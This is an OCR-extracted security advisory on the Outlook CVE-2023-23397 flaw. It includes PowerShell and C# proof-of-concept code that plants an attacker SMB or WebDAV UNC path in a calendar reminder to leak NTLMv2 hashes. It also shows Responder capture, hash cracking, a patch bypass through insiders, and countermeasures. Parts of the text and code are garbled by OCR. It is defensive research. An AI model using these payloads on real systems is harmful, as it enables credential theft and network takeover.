Research & Technique

Microsoft Outlook privilege elevation vulnerability
(CVE-2023-23397)

B Overview of the vulnerability

In March 2023, privilege elevation vulnerability (CVE-2023-23397) was found in Microsoft's e-
mail and schedule management software Outlook, which is used by many companies around the
world, including Korea. CVE-2023-23397 occurs when a calendar receives an invitation message
containing a reminder that informs us of a schedule or appointment. The attacker designates the
sound file location path of the reminder as the IP address of the attacker server and sends a message
to the victim. At this time, the victim's authentication information is leaked to the attacker because
the Outlook client attempts authentication with NTLMv2! hash for SMB? access to the attacker's
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Figure 1. Example of reminder operation

! NTLM (New Technology LAN Manager) v2 is one of the authentication protocols provided by Windows, and it is a version of the
protocol that uses an algorithm improved over the existing NTLM that provides authentication, integrity, and confidentiality through a
challenge/response method.

2 SMB (Server Message Block) is a network file sharing protocol that allows computer applications to read and write files and to request

services from server programs on computer networks.
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In particular, Outlook privilege elevation vulnerability (CVE-2023-23397) have a high CVSS3
score, i.e. 9.8 out of 10, because the vulnerabilities operate just by receiving a message if a reminder
is set regardless of whether the victim has read the message or not. Currently, Microsoft has released
the latest version update, but there is a way to circumvent the patch. So it is necessary to apply safe
countermeasures to prevent damage.

B Affected software versions

The following table is the versions to which the CVE-2023-23397 vulnerability patch released by
Microsoft has been applied, and all Outlook versions other than these versions are vulnerable to the
attack. 3 Even if the latest version patch (as of April 3, 2023) is applied, attacks by insiders are possible.

S/W classification Safe version

Current Channel: Version 2302 (Build 16130.20306)
Monthly Enterprise Channel: Version 2301 (Build 16026.20238)
Monthly Enterprise Channel: Version 2212 (Build 15928.20298)
Semi-Annual Enterprise Channel (Preview): Version 2301 (Build 16130.20306)
Semi-Annual Enterprise Channel: Version 2208 (Build 15601.20578)
Microsoft products Semi-Annual Enterprise Channel: Version 2202 (Build 14931.20944)
Office 2021 Retail: Version 2301 (Build 16130.20306)
Office 2019 Retail: Version 2302 (Build 16130.20306)
Office 2016 Retail: Version 2302 (Build 16130.20306)
Office LTSC 2021 Volume Licensed: Version 2108 (Build 14332.20481)
Office 2019 Volume Licensed: Version 1808 (Build 10396.20023)
X Outlook (OWA) for Android, iOS, Mac and web, and other Microsoft 365 services are not affected.

8 Common Vulnerability Scoring System is an indicator for assessing the severity and risk of computer system security
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B Glossary

The terms and functions necessary for understanding CVE—2023-23397 vulnerability are described
below.

You can access a shared file on the computer network through the UNC path as a

UNC way to check the file without specifying the device where the shared file in the

(Universal Naming computer is stored. The UNC path has a format like

W [servername]W[sharename]t¥[path]#[filenmae], and it can be used as

WiW192.168.102.65Wsmbiteqst.wav.

Convention)

MAPI It is a Microsoft Windows program interface that allows you to send an e-mail from
(Messaging Application within a Windows application program or attach a document you are currently
Program Interface) creating to the e-mail content.
PlayReminderSound An API that supports reminders in Outlook.

. As part of the MAPI properties, it specifies the sound file that is played on the
PidLidReminderFileParameter | . . ) .
client side when the reminder for the entity expires.

As part of the MAPI properties, when this setting is set to True, you can trust the
PidLidReminderOverride values of the PidLidReminderPlaySound property and the
PidLidReminderFileParameter property, and enable reminder action by force.

SecurityZone means an integer value corresponding to the security area used in
the security policy, and the meaning of the integer value is as follows:

-1: NoZone: It means there is no specified zone.

. 0: MyComputer: It means the local computer zone.

SecurityZone )
1: Intranet: It means the local intranet zone.

2: Trusted: It means the site zone that can be trusted. (URL mapping is required)

3: Internet: It means the Internet zone.

4: Untrusted: It means the restricted site zone.
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B Attack scenario

The attack scenario using the CVE-2023-23397 vulnerability is as follows:
infosec

9 Receive a malicious message

> ‘Q
» —
o Send a malicious invitation message E I l I

i Outlook .
Outlook mail server client Victim

©)) steal NTLMvZ hash
Attacker

=\

> - — —
o Attempt Domain Controller authentication

Web Server Domain

Controller

e Take over the internal system

Figure 2. Attack scenario

@ The attacker sends a malicious invitation message to the victim. It triggers the CVE-2023-23397 vulnerability.
@ The victim receives the malicious invitation message sent by the attacker.

® The malicious invitation message received from the Outlook client activates the reminder, and the victim
forcibly attempts NTLMv2 authentication against the SMB of the attacker server, and NTLMv2 is stolen.

@ The attacker attempts authentication against the Admin Domain Controller with the stolen NTLMv2

authentication information.

® The attacker accesses the Admin Domain Controller and takes over the victim's server.

W Test environment configuration information

A test environment is built, and how CVE-2023-23397 operates is examined.
Windows 10 Pro 22H2 (OS build 19045.2006)
Victim Microsoft Office Professional Plus 2016(15.0.4420.1017) 32 bit
(192.168.102.79)
Ubuntu 20.04.4 LTS (Focal Fossa)
(192.168.102.65)

Attacker
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B Vulnerability test

Step 1) The attacker server uses the responder! to obtain authentication information coming into
the SMB server.

. d The responder can be downloaded from https://github.com/SpiderLabs/Responder.
omman
$ sudo ./Responder.py responder -I eth0 -v

$ sudo ./Responder.py responder -I etho -v

Figure 3. Using the responder

Step 2) The attacker sets the path of the sound file as the SMB path of the attacker server to exploit

the reminder. Also, the message set to force the reminder to operate is sent to the victim.
% The PoC code can be downloaded from https://github.com/apiOcradle/ CVE-2023-23397-POC-Powershell.

funct ion Send-CalendarWTlMlesk ($recipient, fremotefilepath. fmest ingsubject. fmeet ingbody)

1

foutlook = Mew—-Object —comObject Outlook.feplication

fpewcal = $outlook Createlten( oldppointment [tem’ J

newcal FeninderSoundFile = "##192. 168, 102, Fotsnbifeast . way " | =2 TS| UNC BE=E
MEWCal . HeC 1P| eNts, a00 | Sast | a0ehD | | thee 10| & Ate| o)y =

newcal .MeetingStatus = [Microsoft .0ffice. Interop. Qut | ook, DIHeetlngStatus ‘olMeeting
frnewcal .Subject = "BUSTLab”

frewcal Locat ion = " jruru

frewcal .Body = "BXSTLab Insisht

fnewcal .Start = get—date

fnewcal .End = (get-date) . AddHours(Z)

trewcal .FeminderOverridelefanlt = | 0 otz P =xb Bt al
frewcal .PeminderSet = 1 2l = c!ﬂlc::: £ =hd st ol ]
$riewcal . ReninderPlaysound = 1 UNC HZEHAM O & /N2 Es 43

TrEwCal . Sendt g

Figure 4. Making and sending a malicious invitation message

* The responder is a tool used to find targets of service attack within the network and attack authentication. It is a tool used to obtain

authentication information by intercepting and manipulating network traffic.
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Step 3) In the victim's Outlook client that receives the malicious invitation message sent by the
attacker, a reminder is enabled along with a schedule invitation, and authentication information is
transmitted to the UNC path set by the attacker.

Search Current Mailbox & | Current Mailbox ~ 76 No Response Required [ Calendar..
eqgstlabwhblithe

All - Unread By Date ~ T EQSTLab

J— d
4 Today 0 As the meeting organizer, you do not need to respond to the meeting.

egstlabwhblithe 3] R

EC?STLab @ 27 10:59 When 202348 3E€ 312 28228 28 105925 12:59 Location jururu

EQSTLab Insight <end=

) 1 Reminder(s) — s

4 Wednesday EQSTLab Insight

eqstlabwhblithe@ s 7] EQSTLab

EQSTLab 155 2= 446 975_1 1050202350 32 N2 82

Insight jururu
4 Tuesday 5 minutes over...

blithe Wh

u (&h 27 10:51

Microsoft Outlook
Microsoft Outiook Test Me... (2} 27 1.,
This is an email message sent

Dismiss

Click 5nooze to be reminded in:

4 Monday 5 minutes *| | snooze Dismiss All

BAirrmoaft MDitlonle

Figure 5. Receiving a malicious schedule invitation message

Step 4) The attacker checks the NTLMv2 hash value of the victim who attempted SMB

authentication.

NTLMv2-SSP Client
NTLMv2-SSP Username
NTLMv2-SSP Hash

\\EQSTLAB.\IPCS
Figure 6. Leaked hash value

Step 5) It is possible to use tools like John the ripper and hashcat to crack the victim’s hash value to
extract the original password.

Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
eqst (eqgst)

1g 0:00:00:00 DONE 1/3 (2023-03-31 11:21) 2.083g/s 16.66p/s 16.66c/s 16.66C/s eq

st..eqstVICTIM1

Use the "--show --format=netntlmv2" options to display all of the cracked passwo
rds reliably

Session completed.

Figure 7. Extracting the original password by cracking the hash value
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B Analysis of vulnerability operation

The CVE-2023-23397 vulnerability exists in the PlayReminderSound API, which is responsible for
reminders among the calendar functions of the Outlook client. The APl has the
PidLidReminderFileParameter property that specifies the reminder's sound file path, and the
PidLidReminderOverride property that trusts the message's sound file path and enables the reminder
operation.

PidLidReminderFileParameter Canonical
Property

OtE|Z - 2022.03.24. - H=0 2

u
El
N
-3

Z8 - 7|HA 5"

i

Applies to: Outlook 2013 | Qutlook 2016

[Specifies the filename of the sound that a client should play when the reminder for that object becomes overdue.]

Property Value

Associated propertias: dispidReminderFileParam
Property set: PSETID_Common

Long ID (LID): 0x0000851F

Data type: PT_UNICODE

Area: Reminder

Figure 8. PidLidReminderFileParameter property

PidLidReminderOverride Canonical Property

OfE[Z « 2022.06.01. - H= Ol 22 28 - 7|07 o6& <o I e

Applies to: Outlook 2013 | Outlook 2016

Specifies whether the client should respect the values ofthe[dispidReminderPIaySound (PidLidReminderPIaySound]]and

[dispidReminderFileParam ( PidLidReminderFileParameter )] properties.

Property Value

Associated properties: dispidReminderOverride
Property set: PSETID_Common

Leng 1D (LID): 0000851C

Data type: PT_BOOLEAN

Area: Reminder

Figure 9. PidLidReminderOverride property
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The PidLidReminderFileParameter property has a problem: the path of the sound file can be set as
the UNC path. The attacker can use this to set the UNC path to the attacker server's SMB or
WebDAV. Also, PidLidReminderOverride property has a problem, ie. the sender can set this
property to True. When this property is set to True, the path of the PidLidReminderFileParameter is
unconditionally trusted, the PidLidReminderPlaySound property is set to True, and a reminder is
enabled so that it operates.

static void Main(string[] args)
{
using (var appointment = new Appointment{
new Sender("egstlabwhblithe@eqstlab.com”, "EQSTLab"),
new Representing(“egstlabwhblithe@egstlab.com”, "EQSTLab"),"Glve ME HASH"))
{
appointment.Recipients.AddTo("victim@eqstlab.com”, "Victim");
appointment.Subject = "Hash";
appointment.Location = "outlook”;
appointment.MeetingStart = DateTime.Now.Date;
appointment.MeetingEnd = DateTime.Now.Date.AddDays(1).Date;
appointmentAllDay = true;
appointment.BodyText = "Steal Hash";
appointment.BodyHtml = "<html> <head> </head><body> <b>thanx u 4 the hash</b></body></html=";
appointment.5entOn = DateTime.UtcNow;
appointment.importance = MsgKitEnums.Messagelmportance |MPORTANCE_NORMAL;
appointment.lconindex = MsgKit.Enums.Messagelconindex.UnsentMail;
appointment.PidLidReminderFileParameter = @"#¥#192.168.102.65%smb¥eqgst.wav’;
appointment.PidLidReminderCverride = true;
appointment.save(@ Ciwtestmsg);

Figure 10. Creating a malicious invitation message by changing the property
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Therefore, when the victim receives a message with these two properties manipulated, the reminder
is enabled so that it operates. In addition, in the process of importing the sound file set by the
attacker, NTLMv2 hash authentication is forcibly attempted with the attacker's SMB server. So the
victim can steal authentication information just by receiving a malicious message.

Receive the malicious message

«
—~ AlA

Outlook mail server Outlook client Victim

>

WW [attacker server]Wsound.wav

—

Attacker <%

Authentication attempt to access sound file security

Figure 11. How vulnerabilities operate
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H Detour

1) Incomplete Microsoft patch details

As the CVE-2023-23397 vulnerability operates in all versions of Microsoft Outlook, Microsoft
released a security patch for Outlook for Windows on March 14, 2023. Looking at the details of
the patch for CVE-2023-23397, by calling the MapUrlToZone method, the patch checks the
SecurityZone’ value for the path of the sound file to allow only trusted network bands (local

intranet and trusted network) or files in the local PC.

int v8[3]; // [esp+leh] [ebp-1C
char v9[9]; // [esp+lFh] [ebp-D
int v1@; // [esp+28h] [ebp-4h]

) = 8;
o(e] -
memset(v3, @, sizeof(vi));

&FileName;
*(al + 596); bool _ thiscall sub_14575C9(void ',\":)l
i (%(va +24) & 1) =8 ) i
{ HRESULT SecurityManager; // ez

2; IInternetSecurityManager *v3; // cax
i o) bool v4; // b
{ unsigned int v6; // [esp+let ebp-1¢ BYREF
IInternetSecurityManager *ppSM[4]; // [esp+14h] [ebp-18h] BYREF

subr&u\ClBB v6);
T Anmal 2t

[5F { 1sub_14575co(aFileNans) )]
—
}

MapUrlToZone H£E S & £ UNC Z 22| Zonel| a2 vo0 HZ
= ColInternetCreateSecurityManager(®, ppSM, 8);
ager < @
~ = (ppSM[@]->1pVtbl->MapUrlToZone)(ppsi[@], this, &v6, 12289), SecurityManager < @) )

else ErrorTag(SecurityManager, 808464432);

{
if ( ta2)
return sub_4953A8(vE);
sub_529983(v9); L PP>

;| Zone2| 10| 20|56} (ex : 2 CIELY, MR = s AMOIE)H Trued iz

V5 vare];
if (! :[[c]a] ) [e] = e;

return sub_4953A8(v8); (v3->1pVtbl->Release) (v3);
if ( sub_7EF723(76) || !sub_B9B20E() ) }

sub_546F8@(76, vi); return va;

= vg[e]; }

H
sub_1267CF1(v3);

return sub_4953A8(vE);

Figure 12. Analysis of patch details

In the patching process, the range of the vulnerable parameter PidLidReminderFileParameter is
limited as the trusted band. So the attacker accesses the same AD server as the victim or exploits
services that clients can access such as SMB and WebDAV through an insider of the trusted
network band to operate the vulnerability.

3 SecurityZone means an integer value corresponding to the security zone used in the security policy.
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2) Testing attacks by insiders

Building the test environment, updating to the latest version, and proving that attacks by insiders
are possible.

Windows Server 2016 Datacenter
AD server (account information: ADserver/EQST12#$)
DNS (egstlab.com)
(192.168.102.84)
Windows 10 Pro 22H2(OS build 19045.2006)
Microsoft Office Professional Plus 2016(16.0.16227.20202) 32 bit

victim account information: eqst/eqst

AD server

DNS (victim.egstlab.com.)
(192.168.102.79)
Ubuntu 20.04.4 LTS (Focal Fossa)

Account information: kali/kali

attacker
DNS (attacker.egstlab.com)

(192.168.102.65)

Office version information is as follows:

|h||icrmmftla Outlook® 2016 M50 (Version 2303 Build 16.0.16227.20202) 32-bit I
Product [D: 00346-40000-00000-A4026
Session |D: 3A054E43-53460-458A-099BC-AATCO0TTRAAS

Third Party MNotices - X
a5 Microsoft

Microsoft Software License Terms
MICROSOFT SOFTWARE LICEMSE TERMS
OFFICE 2016 DESKTOP Last updated Septe
IF YOU LIVE IM [OR IF YOUR PRIMCIPAL PLACE OF x] A Ol
CLAUSE AMD CLASS ACTION WAIVER IN SECTIO _LI '—I = I—I I:I'!
Thank you for choosing Microsoft!
Depending on how you obtained the Office so E| A H T2 Microsoft 365 B! Office”t Z S EHO EX 20 2<=L|C
software installer that distributes the software
ar if a business where your principal place of b
Microsoft is the device manufacturer for device
acquired the software directly from Microsoft,
This agreement describes your rights and the ¢
entire agreement, including any printed paper
terms are important and together create this ad
link into a browser windaow,
By accepting this agreement ar using the softw]
information during activation and during your =
Section 4, If you do not accept and comply with
device manufacturer ar installer, or your retaile

Figure 13. Latest Outlook 2016 32bit
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Step 1) A subscribed attacker of the same AD server as the victim writes a malicious message by
setting the sound file path to the attacker's SMB server to exploit CVE-2023-23397.

funct ion Send-CalendarWTlMlezk ($recipient, $remotefilepath, $meetingsubject, $meet ingbody)

1

f0utlook = Hew—0bject —comObject Outlook.ieolicatior

Snewcal = $outlook, Createltem( ol dppointment | ten’ )

[frewcal . ReninderSoundFile = WATTAD{EQ*#‘SHB&*eqst.wau'l—E—E{ A2l SMB UNC A=
fnewcal Recipients.20d( eqst (2oehn | thel )

fnewcal .MestingStatus = [Microsoft.0ffice. Interop. (utlook. 0l Meet ingStatus] “ZolMeeting
fnewcal .Subject = "BHISTLab”

fnewcal Location = " Insight

fnewcal .Body = "Patch Bypass
fnewcal .Start = get—date

$newcal .End = (get—date) . AddHours(2
tnewcal  BeminderOverrideDefault =1
tnewcal .PeminderSet = 1

fnewcal  ReminderPlaysound = 1
anewcal . sendl )

Figure 14. Setting the path of the sound file to the attacker's SMB shared folder

Step 2) When the victim receives a malicious message, the reminder is enabled and the vulnerability

Operates.
egstlabwhblithe@
All Unread ByDate v T EQSTLab
—_— da
4 Today o As the meeting organizer, you do not need to respond to the meeting.
eqstlabwhblithe@ [ e e oo _
E(?Frl.ah 0= 448 When 20233 42 42 S8 E 25 447 2 5 647 Location Insight
Patch Bypass! <end> | Reminder(s) x
EMminaers, -

4 Last Week Patch Bypass!

Microsoft Outlook
Microsoft Outlook HXE ..

HE HEME HAED

0 reminders are selected

EEQSTLab 14 minutes ove..,
Microsoft Outlook

Microsoft Outlook EIAE 03-27 (2)

hA1-\f_v,.n._ -
228 H=E5s

4 Two Weeks Ago

blithe Wh
test 2023-03-22
test <end>

Click Snooze to be reminded in:

Dismiss All

Figure 15. Reminder operation
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Step 3) The attacker succeeds in stealing the victim's NTLMv2 hash.
NTLMv2-SSP Client 152.168.102.
NTLMv2-SSP Username
NTLMv2-SSP Hash

Figure 16. Stealing the NTLMv2 hash

It is possible to steal the hash internally by using WebDAV as well as SMB.

funct ion Send-CalendariTll=zk ($recipient, $remotefilepath. Imestingsudject, $meet ingbodw)

1

$0ut laok = Hew—0hject —comObject Outlook.ipplicatior

fnewcal = $outlook.Createlten ol dppointment | ten’ ]l
,%newu:al Fen inderSoundFi le = *#'#EII!STLah@EIJWEI:udaW#eqst.wav"lWebDAU H=2

newcal .Hecipients, addl =ast laoehol i thel )

frnewcal  MeetingStatus = [Microsoft . 0ffice. Interop. Qutlook, Ol Meet ingStatus] -olMeeting
fnewcal . Subject = "BISTLab”

fnewcal  Location = “lnsight

fnewcal .Body = "Bypass By Bebld

Figure 17. Setting the path to WebDAV

eqstiabwnolitne@

All  Unread By Date v T

— ’ EQSTLab
4 Today 0 As the meeting organizer, you do not need to respond to the meeting.
egstiabwhblithe@ e When 20239 42 42 B2 2 27 11:01-2F 1:01 Location Insight
EQSTLab 28 11:01 HSE & Ta == - 1sight
Bypass By WebDAV <end>
1 Reminder(s) — x
4 Last Week Bypass By WebDAW
—
Microsoft Outlook EQSTLab N
Microsoft Outlook gHAE ., SFRI0120238 42 42 319 Y
S MEE HAESHE Insight
i EQSTLab Now
Microsoft Outlook
chrosoﬂ Outlook E1 ~E 03-27 (8)
S E¥S H2Es:=
Dismiss
Click Snooze to be reminded in:
“/Two Wecks Ago 5 minutes | [Snooze Dismiss All
blithe Wh

Figure 18. Receiving a malicious invitation message
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Host

NTLMv2 Client :
NTLMv2 Username :
NTLMv2 Hash

Figure 19. Using WebDAV to steal the NTLMv2 hash
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3) Countermeasures
There are four countermeasures to CVE-2023-23397.

1. Update to the latest version of Outlook (partially vulnerable)
2. Disable the reminder

3. Apply packets, which go out to client services, such as SMB and WebDAV, to ACL as the outbound policy

4. Apply the PowerShell script provided by Microsoft

% When running an Exchange Server, if you update it to the latest version of the Exchange server, it is safe because the

PidLidReminderFileParameter message property is deleted when a new message is received and converted to a TNEF® file.

The first method is to apply the latest patch suggested by Microsoft. However, this patch is safe for
external attackers, but as we have seen before, there is a possibility of attack by insiders. Therefore,
additionally applying the following measure is a safe countermeasure against the CVE-2023-23397
vulnerability.

The second option is to limit the reminder by manually disabling the reminder. If the reminder is
limited, it is safe against the CVE-2023-23397 vulnerability because the reminder does not operate
even if you set the PidLidReminderOverride property to True. You can limit the reminder as
follows: After File =) Options —> Advanced, uncheck the check box as shown in the figure below.

Genera! [i Options for working with Qutlook.
Mail
Calendar Outlook panes

People Customize Outlook panes, Mavigation...

152 Beading Pane...
Search
Outlook start and exit

Language
Accessibility Start Qutlook in this folder: Inbox Browse...
Advanced Empty Deleted ters folders when exiting Outlook
Customize Ribbaon AutoArchive
Quick Access Toolbar a]

\ﬂ Reduce mailbox size by deleting or moving old items to an archive data file, Autohrchive Settings...
Add-ins
Trust Center Reminders

Show reminders

I EA A

Play reminder sound:

Figure 20. Disabling the reminder

6 A TNEF (Transport Neutral Encapsulation Format) file is an e-mail attachment file stored based on the Messaging Application
Programming Interface (MAPI). Attachments can include Outlook features (radio/checkboxes, appointments, images, etc.) and messages

in various formats.

EQST insight | 15



The third method is to apply ACL that limits outbound policies in client services like SMB and
WebDAV. As the CVE-2023-23397 vulnerability has a problem, ie. the NTLMv2 hash is
transmitted to the attacker, it can respond to attacks by limiting outgoing packets.

You can apply the outbound policy to a specific port as follows:

Control panel -> System and security -> Windows Defender firewall -> Advanced settings -> Outbound rule ->

New rule -> port -> Specific remote port (ex. SMB: 445, 135) -> Block connection -> Finish after setting the rule

name -> Add a local port in the rule you created

X Depending on the configuration environment, when the outbound policy is limited, there is a possibility of
failure. So good care must be taken.

4@ ‘E:}l # Tf| = | H = cve-2023 &4 X
22 HEFEL IZ 200 o_gugg = — —
o §o|;||-_cr>|1: _‘|l-:IH I == Yy E2T G AMHA S AFH EEESLEE I g 2 EHOFH
C == 1T 0=
= zzEs 3 EE
CAEEETIEE [ .
S & @FirewallAPLd w ZEE2 SR TCP >

% skype I2ES HE: B2

9 Skype

& Spotify Music 2 EE(L): EXE ZE w

@ spotify Music 445, 135

@0 59 [H: 80, 443, 5000-5010

@ Allloyn 2t2H A ZE(R: EX ZE v

@ Allloyn 2t2 E1_ 445, 135
BranchCache 3 THTT B0 233, BO-5my
BranchCache

2 |ICMP{Internet Control Message

BranchCachei Protocol) g2
BranchCache 3

1 P S

Figure 21. Limiting packets through the outbound policy

The last method is to apply the PowerShell inspection script provided by Microsoft.

Script download address
https://github.com/microsoft/CSS-Exchange/releases/latest/download/CVE-2023-23397.ps 1

The PowerShell inspection script checks Exchange messaging items (mail, schedule and tasks) to see
if any vulnerable properties contain character strings. It supports the Audit mode, which provides a
CSV file after detecting whether there is a message using vulnerable properties in the inbox, and the
Cleanup mode, which removes vulnerable properties or deletes messages. Depending on the
configuration environment, the requirements and preconditions are different. So you can check
detailed information on the website’,

- Audit mode: Providing a CSV file containing detailed information of the items full of properties
- Cleanup mode: Performing cleanup on detected items by clearing properties or deleting items. When Clearltem

is applied, the message is removed, and when ClearProperty is applied, problematic properties are removed from

the message.

7 https://microsoft.github.io/CSS—Exchange/Security/CVE-2023-23397/
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B Reference sites

—https://learn.microsoft.com/en—us/previous—versions/windows/internet—explorer/ie—developer/platform—

apis/dd759042(v=vs.85)
—https://www.microsoft.com/en—us/security/blog/2023/03/24/guidance—for—investigating—attacks—using—
cve—2023-23397/

—https://twitter.com/wdormann/status/1638308666368569345
—https://www.mdsec.co.uk/2023/03/exploiting—cve—2023-23397-microsoft—outlook—elevation—of—
privilege—vulnerability/

— https://learn.microsoft.com/ko—kr/dotnet/api/system.security.securityzone?view =windowsdesktop—7.0
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